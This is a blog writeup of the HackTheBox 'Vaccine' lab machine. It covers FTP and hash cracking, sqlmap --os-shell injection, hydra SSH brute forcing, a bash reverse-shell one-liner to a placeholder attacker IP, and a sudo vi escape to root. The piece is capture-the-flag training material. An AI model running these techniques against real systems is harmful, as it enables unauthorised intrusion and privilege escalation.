if(boots.contains("Sand") {alert('AHEM!');}

HTB Starting Point 2-3 “Vaccine” Writeup

This is my writeup for the ‘Vaccine’ machine in HackTheBox’s starting point. As usual, I will include everything I tried, whether it turned out to be fruitful or not.


Enumeration & Starting out

Let’s start with some port enumeration. We also want to save the output for future reference and posterity:

nmap -sV -O -sC 10.129.60.52 | tee nmap.txt
This time we will use the tee command rather than > as this will display the output in STDOUT, meaning we can view the results in the console right away while simultaneously saving it to a file.

We see three ports to work with, 21 (ftp), 22 (ssh), and 80 (http). Because we told nmap to run some basic scripts with -sC, we get some additional info for these ports:
21: Looks like logging in with the anonymous user is enabled:
tp-anon: Anonymous FTP login allowed (FTP code 230)
22: Some hostkeys were obtained. We have those saved and may come back to these later.
80: Looks like the server is hosting a php login page. We will look at that shortly!

Let’s login to the ftp server using the anonymous user to see what we can see.: ftp open 10.129.60.52
Specify anonymous when prompted for a user
We find only one file: backup.zip . Let’s download it using the get command. It will be downloaded to our open directory on our attacker machine. In my case, I have created a folder in my home dir: /home/kefka/htb/vaccine
We try to pry it open with the unzip command, but it looks like it is password-protected. Boo!

Rip & .zip

JohntheRipper has a tool for obtaining the password hash from a .zip file: zip2john. We output it to a text file and name it backupzip_hash.txt. Now we can use John to try and break the hash using a wordlist:
Note: A simple guide for this can be found here

john backupzip_hash.txt --wordlist /usr/share/wordlists/rockyou.txt

Output:

Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963        (backup.zip)
1g 0:00:00:00 DONE (2022-08-10 15:34) 33.33g/s 118200p/s 118200c/s 118200C/s 123456..sss
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

For some reason john didn’t like rockyou.txt, but thankfully looks like it defaulted to another list and found the password anyway: 741852963
Note: Proper formatting for the –wordlist parameter is --wordlist=[dir], hence our error

Opening the archive, it looks like it contains a backup copy of the sourcecode for the website. So let’s look at the site now.

Going Online

Peeking at the site, looks like a simple login page, as expected. We do have what we’re assuming is the source code for this (and the hint for our next question points us towards is) but let’s run gobuster first to see what we can see.

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.22.252
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt,html,xml
[+] Timeout:                 10s
===============================================================
2022/08/10 23:00:45 Starting gobuster in directory enumeration mode
===============================================================
/.hta.html            (Status: 403) [Size: 278]
/.hta.xml             (Status: 403) [Size: 278]
/.hta.php             (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.hta.txt             (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/.htpasswd.txt        (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htaccess.txt        (Status: 403) [Size: 278]
/.htpasswd.html       (Status: 403) [Size: 278]
/.htaccess.html       (Status: 403) [Size: 278]
/.htpasswd.xml        (Status: 403) [Size: 278]
/.htaccess.xml        (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/dashboard.php        (Status: 302) [Size: 931] [--> index.php]
/index.php            (Status: 200) [Size: 2312]
/index.php            (Status: 200) [Size: 2312]
/license.txt          (Status: 200) [Size: 1100]
/server-status        (Status: 403) [Size: 278]
===============================================================
2022/08/10 23:05:09 Finished
===============================================================

Not much. Looks like just a few php files.
Looking at the contents of the index.php file we pulled off the ftp server reveals something interesting in a function at the start of the page:

session_start();
  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION['login'] = "true";
      header("Location: dashboard.php");

Looks like they are checking the credentials provided inside the php file itself. We have a username and an md5 hash of the password thanks to their poor practices. We will head over to www.crackstation.net and pop the hash in to complete our creds: admin:qwerty789

Struggling through sqlmap

Logging into the site, we see a table with some car info in it and a search function in the top right. The question in task 6 points us to using sqlmap to find a vulnerability on the site using the --os-shell switch. So we run the command: sqlmap -u http://[Target-ip]/dashboard.php --os-shell
Sadly it doesn’t seem to work. sqlmap returns something along the lines of “None of the fields are injectable”.
Looking online at some examples of sqlmap --os-shell usage, it seems it is often best to call it using a local file that has a full http request in it. So we will open Burpsuite, log into the website and save the http request to a file. However, we still get the same output from sqlmap. Further googling doesn’t give us any pointers, but eventually through trial and error we discover that we need to pass a search query in the url of the http request we pass into sqlmap. So what was successful was entering a search and saving the GET request contents, and then passing those into sqlmap. So our URL should look something like
http://[server-ip]/dashboard.php?search=123
Our saved HTTP request looks like this:

GET /dashboard.php?search=123 HTTP/1.1
Host: 10.129.126.241
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.129.126.241/dashboard.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=il4uvu77vqqhkqae1bjoo3klve
Connection: close

We will then save the contents of the request form burp to a file and passing that into sqlmap
So our successful command looks like this: sqlmap -r sqlmap_input --os-shell
We will get some prompts in the program, read through them and answer appropriately. The one we are concerned with is: GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
We will answer N
And we get our shell – we are in!

Cracking the shell & Privilege Escalation

whoami returns postgres for our user. We see, however, that many commands seem to be disabled for our user, or are not able to be passed through the sqlmap shell. cd doesn’t work, so we can’t navigate the system to try and expand our foothold. We are able to run cat, and we are able to output the /etc/passwd file to list the users. We see there is a simon user, so we try running hydra to bruteforce our way in through ssh using the following command:
hydra -t16 -l simon -P /usr/share/wordlists/rockyou.txt -vV 10.129.222.199 ssh
Now we wait (it will be awhile). If successful, we will be able to use ssh to get a much more secure and usable shell.
While this is going on, we take a peek at the lab tasks to get an idea of what else to try. It looks like there is a program postgres is able to run as root, so we try try running sudo -l, although without a password it won’t be much help. In any case, it doesn’t seem to work through our sqlmap shell anyway. As we suspected, running sudo -l -S (the -S switch is required due to our sqlmap context according to an error thrown when we try to run sudo-l) prompts for a password.

The sqlmap connection keeps dropping, which is pretty annoying. It’s also severely limiting our capabilities on the victim machine. In an attempt to run a more usable and stable shell we open a netcat listener on our attacker machine and try calling bash -i >& /dev/tcp/{attacker_ip}/9999 0>&1, but it doesn’t seem to work. We go to our good friend Google and start combing through results, and eventually find an interesting reddit post with a different technique of calling bash using the -c switch to take another command as a string: bash -c "bash -i >& /dev/tcp/[IP-address]/443 0>&1". Amusingly, it seems they got this command from a writeup for a different HTB machine, but we won’t worry about that. We change the port what our listening netcat expects and we get a reverse shell going! Nice.

cd commands now work, so we start poking through the pc to see what we can see. The source code for the site seems to be a good place to start, as sqlmap was able to log in as the postgresql there may be a hash of the password somewhere we can leverage.

This turns out to be very close to the case. In fact, the password was stored in plaintext at the top of the dashboard.php file for the site:


session_start(); 
    if($_SESSION['login'] !== "true") { 
        header("Location: index.php"); 
        die(); 
    } 
    try { 
        $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!"); 
    }

Running sudo -l points us to one app we can use to get to root: vi, but there is a catch: we can only run it as root on a specified file:

User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

So we run the following command: sudo vi /etc/postgresql/11/main/pg_hba.conf and it opens vi as root in that file. There is a very well-known trick (actually a built in feature) to getting a shell in vi. If we type :, it will open up a prompt from which we can run a shell simply by calling /bin/bash. This works and we are now in a shell as root!

The only task remaining is to find the flags. navigating to /root, we find the root.txt file for the root flag. But there’s one more user flag we need to find. I think we were supposed to find it already, but we must have missed it. No worries, we’ll run a quick command to find it: "user.txt" | grep "user.txt"
And we see we missed the flag in the directory for the postgres user:
/var/lib/postgresql/user.txt


Closing Thoughts

I had a lot of trouble with sqlmap in this box. I spent a lot of time looking through webpages and the man page of the command trying to figure out why my --os-shell command wasn’t working. At first I logged all the switches and things I tried, but I had to cut it down because it was just way too long, and I already feel like these writeups are a bit wordy. On that note, I’ll end this one!
~Mike ‘kefka’ Babineau

Leave a Reply

Your email address will not be published. Required fields are marked *